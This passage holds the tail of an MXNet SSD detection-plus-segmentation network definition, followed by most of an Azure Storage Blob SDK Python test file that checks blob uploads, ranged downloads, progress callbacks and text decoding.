mx.sym.Pooling(res5_reduced_bn, global_pool=False, kernel=(2,2), stride=(2,2), pad=(0,0), pool_type='avg', name='score_pool2') score_pool4 = mx.sym.Pooling(res5_reduced_bn, global_pool=False, kernel=(4,4), stride=(4,4), pad=(0,0), pool_type='avg', name='score_pool4') score2_pool4 = mx.symbol.Convolution(data=score_pool4, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=128, no_bias=True, workspace=1024, name="score2_pool4") score2_pool4_bn = mx.sym.BatchNorm(data=score2_pool4, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score2_pool4_bn') score2_pool2 = mx.symbol.Convolution(data=score_pool2, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=256, no_bias=True, workspace=1024, name="score2_pool2") score2_pool2_bn = mx.sym.BatchNorm(data=score2_pool2, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score2_pool2_bn') score2_pool1 = mx.symbol.Convolution(data=score_pool1, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=512, no_bias=True, workspace=1024, name="score2_pool1") score2_pool1_bn = mx.sym.BatchNorm(data=score2_pool1, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score2_pool1_bn') affine_matrix = mx.sym.var("affine_matrix", shape=(1,6)) grid = mx.sym.GridGenerator(data=affine_matrix, transform_type='affine', target_shape=(64, 128)) score3_samp4 = mx.sym.BilinearSampler(data=score2_pool4_bn, grid=grid, name='score3_samp4') score3_samp2 = mx.sym.BilinearSampler(data=score2_pool2_bn, grid=grid, name='score3_samp2') score3_samp1 = mx.sym.BilinearSampler(data=score2_pool1_bn, grid=grid, name='score3_samp1') score3_sampy = mx.sym.BilinearSampler(data=res5_reduced_bn, grid=grid, name='score3_sampy') score3_samp0 = mx.sym.BilinearSampler(data=res4_reduced2_bn, grid=grid, name='score3_samp0') score3_sampx = mx.sym.BilinearSampler(data=res3_reduced2_bn, grid=grid, name='score3_sampx') score3_concat = mx.sym.concat(score3_samp4, score3_samp2, score3_samp1, score3_sampy, score3_samp0, score3_sampx, dim=1, name='score3_concat') score3_conv = mx.symbol.Convolution(data=score3_concat, kernel=(3,3), stride=(1,1), pad=(1,1), \ num_filter=seg_classes, no_bias=True, workspace=1024, name="score3_conv") score3_conv_bn = mx.sym.BatchNorm(data=score3_conv, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score3_conv_bn') score4_conv = mx.symbol.Deconvolution(data=score3_conv_bn, kernel=(4,4), stride=(2,2), pad=(1,1), \ num_filter=seg_classes, workspace=1024, name="score4_conv") fcnxs = mx.symbol.SoftmaxOutput(data=score4_conv, multi_output=True, grad_scale=4., \ use_ignore=True, ignore_label=255, name="seg_out") # group output out = mx.symbol.Group([cls_prob, loc_loss, cls_label, det, fcnxs]) return out def get_multi_symbol(network, num_classes, from_layers, num_filters, sizes, ratios, strides, pads, normalizations=-1, steps=[], min_filter=128, nms_thresh=0.5, force_suppress=False, nms_topk=400, **kwargs): """Build network for testing SSD Parameters ---------- network : str base network symbol name num_classes : int number of object classes not including background from_layers : list of str feature extraction layers, use '' for add extra layers For example: from_layers = ['relu4_3', 'fc7', '', '', '', ''] which means extract feature from relu4_3 and fc7, adding 4 extra layers on top of fc7 num_filters : list of int number of filters for extra layers, you can use -1 for extracted features, however, if normalization and scale is applied, the number of filter for that layer must be provided. For example: num_filters = [512, -1, 512, 256, 256, 256] strides : list of int strides for the 3x3 convolution appended, -1 can be used for extracted feature layers pads : list of int paddings for the 3x3 convolution, -1 can be used for extracted layers sizes : list or list of list [min_size, max_size] for all layers or [[], [], []...] for specific layers ratios : list or list of list [ratio1, ratio2...] for all layers or [[], [], ...] for specific layers normalizations : int or list of int use normalizations value for all layers or [...] for specific layers, -1 indicate no normalizations and scales steps : list specify steps for each MultiBoxPrior layer, leave empty, it will calculate according to layer dimensions min_filter : int minimum number of filters used in 1x1 convolution nms_thresh : float non-maximum suppression threshold force_suppress : boolean whether suppress different class objects nms_topk : int apply NMS to top K detections Returns ------- mx.Symbol """ body = import_module(network).get_symbol(num_classes, **kwargs) internals = body.get_internals() data = internals['data'] res3 = internals[from_layers[0]+"_output"] res4 = internals[from_layers[1]+"_output"] conv_feat = internals[from_layers[2]+"_output"] ### remove res3 from input layer of SSD from_layers=from_layers[1:] num_filters=num_filters[1:] strides=strides[1:] pads=pads[1:] sizes=sizes[1:] ratios=ratios[1:] layers = multi_layer_feature(body, from_layers, num_filters, strides, pads, min_filter=min_filter) loc_preds, cls_preds, anchor_boxes = multitask_layer(layers, \ num_classes, sizes=sizes, ratios=ratios, normalization=normalizations, \ num_channels=num_filters, clip=False, interm_layer=0, steps=steps) cls_prob = mx.symbol.SoftmaxActivation(data=cls_preds, mode='channel', \ name='cls_prob') det = mx.contrib.symbol.MultiBoxDetection(*[cls_prob, loc_preds, anchor_boxes], \ name="detection", nms_threshold=nms_thresh, force_suppress=force_suppress, \ variances=(0.1, 0.1, 0.2, 0.2), nms_topk=nms_topk) # segmentation task (pyramid pooling module) res3_block = mx.sym.BlockGrad(data=res3, name="res3_block") res3_reduced = mx.sym.Convolution(data=res3_block, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=128, no_bias=True, workspace=1024, name="res3_reduced") res3_reduced_bn = mx.sym.BatchNorm(data=res3_reduced, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res3_reduced_bn') res3_reduced2 = mx.sym.Convolution(data=res3_reduced_bn, kernel=(3,3), stride=(1,1), pad=(1,1), \ num_filter=128, no_bias=True, workspace=1024, name="res3_reduced2") res3_reduced2_bn = mx.sym.BatchNorm(data=res3_reduced2, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res3_reduced2_bn') res4_block = mx.sym.BlockGrad(data=res4, name="res4_block") res4_reduced = mx.sym.Convolution(data=res4_block, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=256, no_bias=True, workspace=1024, name="res4_reduced") res4_reduced_bn = mx.sym.BatchNorm(data=res4_reduced, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res4_reduced_bn') res4_reduced2 = mx.sym.Convolution(data=res4_reduced_bn, kernel=(3,3), stride=(1,1), pad=(1,1), \ num_filter=256, no_bias=True, workspace=1024, name="res4_reduced2") res4_reduced2_bn = mx.sym.BatchNorm(data=res4_reduced2, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res4_reduced2_bn') res5_reduced = mx.symbol.Convolution(data=conv_feat, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=512, no_bias=True, workspace=1024, name="res5_reduced") res5_reduced_bn = mx.sym.BatchNorm(data=conv_feat, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='res5_reduced_bn') score_pool1 = mx.sym.Pooling(res5_reduced_bn, global_pool=False, kernel=(1,1), stride=(1,1), pad=(0,0), pool_type='avg', name='score_pool1') score_pool2 = mx.sym.Pooling(res5_reduced_bn, global_pool=False, kernel=(2,2), stride=(2,2), pad=(0,0), pool_type='avg', name='score_pool2') score_pool4 = mx.sym.Pooling(res5_reduced_bn, global_pool=False, kernel=(4,4), stride=(4,4), pad=(0,0), pool_type='avg', name='score_pool4') score2_pool4 = mx.symbol.Convolution(data=score_pool4, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=128, no_bias=True, workspace=1024, name="score2_pool4") score2_pool4_bn = mx.sym.BatchNorm(data=score2_pool4, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score2_pool4_bn') score2_pool2 = mx.symbol.Convolution(data=score_pool2, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=256, no_bias=True, workspace=1024, name="score2_pool2") score2_pool2_bn = mx.sym.BatchNorm(data=score2_pool2, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score2_pool2_bn') score2_pool1 = mx.symbol.Convolution(data=score_pool1, kernel=(1,1), stride=(1,1), pad=(0,0), \ num_filter=512, no_bias=True, workspace=1024, name="score2_pool1") score2_pool1_bn = mx.sym.BatchNorm(data=score2_pool1, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score2_pool1_bn') affine_matrix = mx.sym.var("affine_matrix", shape=(1,6)) grid = mx.sym.GridGenerator(data=affine_matrix, transform_type='affine', target_shape=(64, 128)) score3_samp4 = mx.sym.BilinearSampler(data=score2_pool4_bn, grid=grid, name='score3_samp4') score3_samp2 = mx.sym.BilinearSampler(data=score2_pool2_bn, grid=grid, name='score3_samp2') score3_samp1 = mx.sym.BilinearSampler(data=score2_pool1_bn, grid=grid, name='score3_samp1') score3_sampy = mx.sym.BilinearSampler(data=res5_reduced_bn, grid=grid, name='score3_sampy') score3_samp0 = mx.sym.BilinearSampler(data=res4_reduced2_bn, grid=grid, name='score3_samp0') score3_sampx = mx.sym.BilinearSampler(data=res3_reduced2_bn, grid=grid, name='score3_sampx') score3_concat = mx.sym.concat(score3_samp4, score3_samp2, score3_samp1, score3_sampy, score3_samp0, score3_sampx, dim=1, name='score3_concat') score3_conv = mx.symbol.Convolution(data=score3_concat, kernel=(3,3), stride=(1,1), pad=(1,1), \ num_filter=seg_classes, no_bias=True, workspace=1024, name="score3_conv") score3_conv_bn = mx.sym.BatchNorm(data=score3_conv, fix_gamma=True, eps=eps, use_global_stats=use_global_stats, name='score3_conv_bn') score4_conv = mx.symbol.Deconvolution(data=score3_conv_bn, kernel=(4,4), stride=(2,2), pad=(1,1), \ num_filter=seg_classes, workspace=1024, name="score4_conv") fcnxs = mx.symbol.softmax(data=score4_conv, multi_output=True, name="seg_out") # group output out = mx.symbol.Group([det, fcnxs]) return out

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2240cf28d0f34b7f8a953e0e98a9d8138d1e0eeb

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Python

sdk/storage/azure-storage-blob/tests/test_get_blob.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

1

2021-04-26T21:15:01.000Z

sdk/storage/azure-storage-blob/tests/test_get_blob.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

2

2021-08-24T15:32:30.000Z

2021-08-24T23:21:34.000Z

sdk/storage/azure-storage-blob/tests/test_get_blob.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

1

2016-04-19T22:15:47.000Z

# coding: utf-8 # ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- import pytest import base64 import unittest import uuid from os import path, remove, sys, urandom from azure.core.exceptions import HttpResponseError from devtools_testutils import ResourceGroupPreparer, StorageAccountPreparer from azure.storage.blob import ( BlobServiceClient, ContainerClient, BlobClient, StorageErrorCode, BlobProperties ) from _shared.testcase import GlobalStorageAccountPreparer from devtools_testutils.storage import StorageTestCase # ------------------------------------------------------------------------------ TEST_BLOB_PREFIX = 'blob' # ------------------------------------------------------------------------------ class StorageGetBlobTest(StorageTestCase): def _setup(self, storage_account, key): # test chunking functionality by reducing the threshold # for chunking and the size of each chunk, otherwise # the tests would take too long to execute self.bsc = BlobServiceClient( self.account_url(storage_account, "blob"), credential=key, max_single_get_size=1024, max_chunk_get_size=1024) self.config = self.bsc._config self.container_name = self.get_resource_name('utcontainer') if self.is_live: container = self.bsc.get_container_client(self.container_name) try: container.create_container() except: pass self.byte_blob = self.get_resource_name('byteblob') self.byte_data = self.get_random_bytes(64 * 1024 + 5) if self.is_live: blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) blob.upload_blob(self.byte_data, overwrite=True) def _teardown(self, file_name): if path.isfile(file_name): try: remove(file_name) except: pass # --Helpers----------------------------------------------------------------- def _get_blob_reference(self): return self.get_resource_name(TEST_BLOB_PREFIX) class NonSeekableFile(object): def __init__(self, wrapped_file): self.wrapped_file = wrapped_file def write(self, data): self.wrapped_file.write(data) def read(self, count): return self.wrapped_file.read(count) def seekable(self): return False # -- Get test cases for blobs ---------------------------------------------- @GlobalStorageAccountPreparer() def test_unicode_get_blob_unicode_data(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) blob_data = u'hello world啊齄丂狛狜'.encode('utf-8') blob_name = self._get_blob_reference() blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(blob_data) # Act content = blob.download_blob() # Assert self.assertIsInstance(content.properties, BlobProperties) self.assertEqual(content.readall(), blob_data) @GlobalStorageAccountPreparer() def test_unicode_get_blob_binary_data(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) base64_data = 'AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/wABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9AQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpbXF1eX2BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ent8fX5/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/w==' binary_data = base64.b64decode(base64_data) blob_name = self._get_blob_reference() blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(binary_data) # Act content = blob.download_blob() # Assert self.assertIsInstance(content.properties, BlobProperties) self.assertEqual(content.readall(), binary_data) @GlobalStorageAccountPreparer() def test_get_blob_no_content(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) blob_data = b'' blob_name = self._get_blob_reference() blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(blob_data) # Act content = blob.download_blob() # Assert self.assertEqual(blob_data, content.readall()) self.assertEqual(0, content.properties.size) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_to_bytes(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) # Act content = blob.download_blob(max_concurrency=2).readall() # Assert self.assertEqual(self.byte_data, content) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_ranged_get_blob_to_bytes_with_single_byte(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) # Act content = blob.download_blob(offset=0, length=1).readall() # Assert self.assertEqual(1, len(content)) self.assertEqual(self.byte_data[0], content[0]) # Act content = blob.download_blob(offset=5, length=1).readall() # Assert self.assertEqual(1, len(content)) self.assertEqual(self.byte_data[5], content[0]) @GlobalStorageAccountPreparer() def test_ranged_get_blob_to_bytes_with_zero_byte(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) blob_data = b'' blob_name = self._get_blob_reference() blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(blob_data) # Act # the get request should fail in this case since the blob is empty and yet there is a range specified with self.assertRaises(HttpResponseError) as e: blob.download_blob(offset=0, length=5) self.assertEqual(StorageErrorCode.invalid_range, e.exception.error_code) with self.assertRaises(HttpResponseError) as e: blob.download_blob(offset=3, length=5) self.assertEqual(StorageErrorCode.invalid_range, e.exception.error_code) @GlobalStorageAccountPreparer() def test_ranged_get_blob_with_missing_start_range(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) blob_data = b'foobar' blob_name = self._get_blob_reference() blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(blob_data) # Act # the get request should fail fast in this case since start_range is missing while end_range is specified with self.assertRaises(ValueError): blob.download_blob(length=3) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_to_bytes_snapshot(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) snapshot_ref = blob.create_snapshot() snapshot = self.bsc.get_blob_client(self.container_name, self.byte_blob, snapshot=snapshot_ref) blob.upload_blob(self.byte_data, overwrite=True) # Modify the blob so the Etag no longer matches # Act content = snapshot.download_blob(max_concurrency=2).readall() # Assert self.assertEqual(self.byte_data, content) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_to_bytes_with_progress(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) progress = [] blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) # Act content = blob.download_blob(raw_response_hook=callback, max_concurrency=2).readall() # Assert self.assertEqual(self.byte_data, content) self.assert_download_progress( len(self.byte_data), self.config.max_chunk_get_size, self.config.max_single_get_size, progress) @GlobalStorageAccountPreparer() def test_get_blob_to_bytes_non_parallel(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) progress = [] blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) # Act content = blob.download_blob(raw_response_hook=callback, max_concurrency=1).readall() # Assert self.assertEqual(self.byte_data, content) self.assert_download_progress( len(self.byte_data), self.config.max_chunk_get_size, self.config.max_single_get_size, progress) @GlobalStorageAccountPreparer() def test_get_blob_to_bytes_small(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) blob_data = self.get_random_bytes(1024) blob_name = self._get_blob_reference() blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(blob_data) progress = [] def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) # Act content = blob.download_blob(raw_response_hook=callback).readall() # Assert self.assertEqual(blob_data, content) self.assert_download_progress( len(blob_data), self.config.max_chunk_get_size, self.config.max_single_get_size, progress) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_to_stream(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) # Act FILE_PATH = 'get_blob_to_streamm.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: downloader = blob.download_blob(max_concurrency=2) read_bytes = downloader.readinto(stream) # Assert self.assertEqual(read_bytes, len(self.byte_data)) with open(FILE_PATH, 'rb') as stream: actual = stream.read() self.assertEqual(self.byte_data, actual) self._teardown(FILE_PATH) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_to_stream_with_progress(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) progress = [] blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) # Act FILE_PATH = 'blob_to_stream_with_progress.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: downloader = blob.download_blob(raw_response_hook=callback, max_concurrency=2) read_bytes = downloader.readinto(stream) # Assert self.assertEqual(read_bytes, len(self.byte_data)) with open(FILE_PATH, 'rb') as stream: actual = stream.read() self.assertEqual(self.byte_data, actual) self.assert_download_progress( len(self.byte_data), self.config.max_chunk_get_size, self.config.max_single_get_size, progress) self._teardown(FILE_PATH) @GlobalStorageAccountPreparer() def test_get_blob_to_stream_non_parallel(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) progress = [] blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) # Act FILE_PATH = 'stream_non_parallel.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: downloader = blob.download_blob(raw_response_hook=callback, max_concurrency=1) read_bytes = downloader.readinto(stream) # Assert self.assertEqual(read_bytes, len(self.byte_data)) with open(FILE_PATH, 'rb') as stream: actual = stream.read() self.assertEqual(self.byte_data, actual) self.assert_download_progress( len(self.byte_data), self.config.max_chunk_get_size, self.config.max_single_get_size, progress) self._teardown(FILE_PATH) @GlobalStorageAccountPreparer() def test_get_blob_to_stream_small(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) blob_data = self.get_random_bytes(1024) blob_name = self._get_blob_reference() blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(blob_data) progress = [] def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) # Act FILE_PATH = 'blob_to_stream_small.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: downloader = blob.download_blob(raw_response_hook=callback, max_concurrency=2) read_bytes = downloader.readinto(stream) # Assert self.assertEqual(read_bytes, 1024) with open(FILE_PATH, 'rb') as stream: actual = stream.read() self.assertEqual(blob_data, actual) self.assert_download_progress( len(blob_data), self.config.max_chunk_get_size, self.config.max_single_get_size, progress) self._teardown(FILE_PATH) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_ranged_get_blob_to_path(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) # Act FILE_PATH = 'get_blob_to_path.temp.{}.dat'.format(str(uuid.uuid4())) end_range = self.config.max_single_get_size with open(FILE_PATH, 'wb') as stream: downloader = blob.download_blob(offset=1, length=end_range - 1, max_concurrency=2) read_bytes = downloader.readinto(stream) # Assert self.assertEqual(read_bytes, end_range - 1) with open(FILE_PATH, 'rb') as stream: actual = stream.read() self.assertEqual(self.byte_data[1:end_range], actual) self._teardown(FILE_PATH) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_ranged_get_blob_to_path_with_progress(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) progress = [] blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) # Act start_range = 3 end_range = self.config.max_single_get_size + 1024 FILE_PATH = 'blob_to_path_with_progress.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: downloader = blob.download_blob( offset=start_range, length=end_range, raw_response_hook=callback, max_concurrency=2) read_bytes = downloader.readinto(stream) # Assert self.assertEqual(read_bytes, end_range) with open(FILE_PATH, 'rb') as stream: actual = stream.read() self.assertEqual(self.byte_data[start_range:end_range + start_range], actual) self.assert_download_progress( end_range, self.config.max_chunk_get_size, self.config.max_single_get_size, progress) self._teardown(FILE_PATH) @GlobalStorageAccountPreparer() def test_ranged_get_blob_to_path_small(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) # Act FILE_PATH = 'blob_to_path_small.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: downloader = blob.download_blob(offset=1, length=4, max_concurrency=2) read_bytes = downloader.readinto(stream) # Assert self.assertEqual(read_bytes, 4) with open(FILE_PATH, 'rb') as stream: actual = stream.read() self.assertEqual(self.byte_data[1:5], actual) self._teardown(FILE_PATH) @GlobalStorageAccountPreparer() def test_ranged_get_blob_to_path_non_parallel(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) # Act FILE_PATH = 'blob_to_path_non_parallel.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: downloader = blob.download_blob(offset=1, length=3, max_concurrency=1) read_bytes = downloader.readinto(stream) # Assert self.assertEqual(read_bytes, 3) with open(FILE_PATH, 'rb') as stream: actual = stream.read() self.assertEqual(self.byte_data[1:4], actual) self._teardown(FILE_PATH) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_ranged_get_blob_to_path_invalid_range_parallel(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob_size = self.config.max_single_get_size + 1 blob_data = self.get_random_bytes(blob_size) blob_name = self._get_blob_reference() blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(blob_data) # Act end_range = 2 * self.config.max_single_get_size FILE_PATH = 'path_invalid_range_parallel.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: downloader = blob.download_blob(offset=1, length=end_range, max_concurrency=2) read_bytes = downloader.readinto(stream) # Assert self.assertEqual(read_bytes, blob_size) with open(FILE_PATH, 'rb') as stream: actual = stream.read() self.assertEqual(blob_data[1:blob_size], actual) self._teardown(FILE_PATH) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_ranged_get_blob_to_path_invalid_range_non_parallel(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob_size = 1024 blob_data = self.get_random_bytes(blob_size) blob_name = self._get_blob_reference() blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(blob_data) # Act end_range = 2 * self.config.max_single_get_size FILE_PATH = 'invalid_range_non_parallel.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: downloader = blob.download_blob(offset=1, length=end_range, max_concurrency=2) read_bytes = downloader.readinto(stream) # Assert self.assertEqual(read_bytes, blob_size) with open(FILE_PATH, 'rb') as stream: actual = stream.read() self.assertEqual(blob_data[1:blob_size], actual) self._teardown(FILE_PATH) # Assert @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_to_text(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) text_blob = self.get_resource_name('textblob') text_data = self.get_random_text_data(self.config.max_single_get_size + 1) blob = self.bsc.get_blob_client(self.container_name, text_blob) blob.upload_blob(text_data) # Act stream = blob.download_blob(max_concurrency=2, encoding='UTF-8') content = stream.readall() # Assert self.assertEqual(text_data, content) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_to_text_with_progress(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) text_blob = self.get_resource_name('textblob') text_data = self.get_random_text_data(self.config.max_single_get_size + 1) blob = self.bsc.get_blob_client(self.container_name, text_blob) blob.upload_blob(text_data) progress = [] def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) # Act stream = blob.download_blob( raw_response_hook=callback, max_concurrency=2, encoding='UTF-8') content = stream.readall() # Assert self.assertEqual(text_data, content) self.assert_download_progress( len(text_data.encode('utf-8')), self.config.max_chunk_get_size, self.config.max_single_get_size, progress) @GlobalStorageAccountPreparer() def test_get_blob_to_text_non_parallel(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) text_blob = self._get_blob_reference() text_data = self.get_random_text_data(self.config.max_single_get_size + 1) blob = self.bsc.get_blob_client(self.container_name, text_blob) blob.upload_blob(text_data) progress = [] def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) # Act stream = blob.download_blob( raw_response_hook=callback, max_concurrency=1, encoding='UTF-8') content = stream.readall() # Assert self.assertEqual(text_data, content) self.assert_download_progress( len(text_data), self.config.max_chunk_get_size, self.config.max_single_get_size, progress) @GlobalStorageAccountPreparer() def test_get_blob_to_text_small(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) blob_data = self.get_random_text_data(1024) blob_name = self._get_blob_reference() blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(blob_data) 